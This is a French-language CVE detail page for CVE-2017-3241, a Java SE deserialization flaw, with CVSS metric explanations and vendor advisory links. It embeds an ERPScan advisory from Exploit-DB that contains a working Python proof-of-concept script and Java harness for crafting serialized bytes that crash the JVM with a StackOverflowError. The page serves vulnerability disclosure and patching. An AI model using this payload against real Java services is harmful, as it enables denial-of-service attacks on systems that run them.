CVE-2017-3241 : Détail

CVE-2017-3241

9
/
Critique
A03-Injection
7.98%V3
Network
2017-01-27
21h01 +00:00
2024-10-09
19h51 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Vulnerability in the Java SE, Java SE Embedded, JRockit component of Oracle Java SE (subcomponent: RMI). Supported versions that are affected are Java SE: 6u131, 7u121 and 8u112; Java SE Embedded: 8u111; JRockit: R28.3.12. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded, JRockit. While the vulnerability is in Java SE, Java SE Embedded, JRockit, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Java SE, Java SE Embedded, JRockit. Note: This vulnerability can only be exploited by supplying data to APIs in the specified Component without using Untrusted Java Web Start applications or Untrusted Java applets, such as through a web service. CVSS v3.0 Base Score 9.0 (Confidentiality, Integrity and Availability impacts).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9 CRITICAL CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 41145

Date de publication : 2017-01-22 23h00 +00:00
Auteur : ERPScan
EDB Vérifié : Yes

''' Application: Java SE Vendor: Oracle Bug: DoS Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 17.01.2017 Reference: Oracle CPU Jan 2017 Author: Roman Shalymov 1. ADVISORY INFORMATION Title: Oracle OpenJDK - Java Serialization DoS Advisory ID: [ERPSCAN-17-006] Risk: High Advisory URL: https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/ Date published: 17.01.2017 Vendor contacted: Oracle 2. VULNERABILITY INFORMATION Class: Denial of Service Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2017-3241 CVSS Base Score: 9.0 3. VULNERABILITY DESCRIPTION An attacker can cause DoS of the application which uses OpenJDK Runtime Environment 1.8 as its core runtime engine. 4. VULNERABLE PACKAGES OpenJDK Runtime Environment build 1.8.0_112-b15 5. SOLUTIONS AND WORKAROUNDS Fix ObjectInputStream.skipCustomData() method, namely readObject0(false); call in switch statement Adress Oracle CPU January 2017 6. AUTHOR Roman Shalymov (@shalymov) 7. TECHNICAL DESCRIPTION An attacker can craft a malicious sequence of bytes that will cause JVM StackOverflowError in the standard Java deserialization process if it uses ObjectInputStream.readObject() method. 7.1. Proof of Concept An attacker creates a malicious sequence of bytes, for example, using this python script pwn_ser.py: ''' #!/usr/bin/env python2 import sys exp = "" #serialization header exp += '\xac\xed\x00\x05' exp1 = '' exp1 += '\x72' exp1 += '\x00\x0c'+'java.io.File' exp1 += '\x41'*8 exp1 += '\x00' exp1 += '\x00\x00' exp += exp1 * 10000 sys.stdout.write(exp) ''' and save it in exp2.ser file $ ./pwn_ser2.py > exp2.ser Let's simulate deserialization process. For this purpose, we create a simple Java program, which uses the following standard deserialization pattern: Serialize_read.java import java.io.FileInputStream; import java.io.ObjectInputStream; public class Serialize_read { public static void main(String args[]) throws Exception { if(args.length < 1) { System.out.println("usage: "+Serialize_read.class.getSimpleName()+" [file]"); System.exit(-1); } FileInputStream fin = new FileInputStream(args[0]); ObjectInputStream oin = new ObjectInputStream(fin); try { Object objFromDisk = oin.readObject(); String s = (String)objFromDisk; System.out.println(s); System.out.println("Successfully read!"); }catch(Exception e){} System.exit(0); } } Let's try to read our malicious file (we can also simulate this stuff over network communication): $ javac Serialize_read.java $ java Serialize_read exp2.ser It causes the following error dump: Exception in thread "main" java.lang.StackOverflowError at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351) at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834) at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892) at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075) at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684) at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) ... at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) 8. REPORT TIMELINE Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 17.01.2017 9. REFERENCES http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/ 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP Solution providersa and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScanas primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We afollow the suna and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security '''

Products Mentioned

Configuraton 0

Oracle>>Jdk >> Version 1.6

Oracle>>Jdk >> Version 1.7

Oracle>>Jdk >> Version 1.8

Oracle>>Jdk >> Version 1.8

Oracle>>Jre >> Version 1.6

Oracle>>Jre >> Version 1.7

Oracle>>Jre >> Version 1.8

Oracle>>Jre >> Version 1.8

Oracle>>Jrockit >> Version r28.3.12

Références

http://rhn.redhat.com/errata/RHSA-2017-0338.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3782
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2017-0176.html
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201701-65
Tags : vendor-advisory, x_refsource_GENTOO
http://rhn.redhat.com/errata/RHSA-2017-0180.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1037637
Tags : vdb-entry, x_refsource_SECTRACK
https://security.gentoo.org/glsa/201707-01
Tags : vendor-advisory, x_refsource_GENTOO
http://rhn.redhat.com/errata/RHSA-2017-0175.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0177.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0263.html
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1216
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0269.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/41145/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/95488
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2017-0337.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0336.html
Tags : vendor-advisory, x_refsource_REDHAT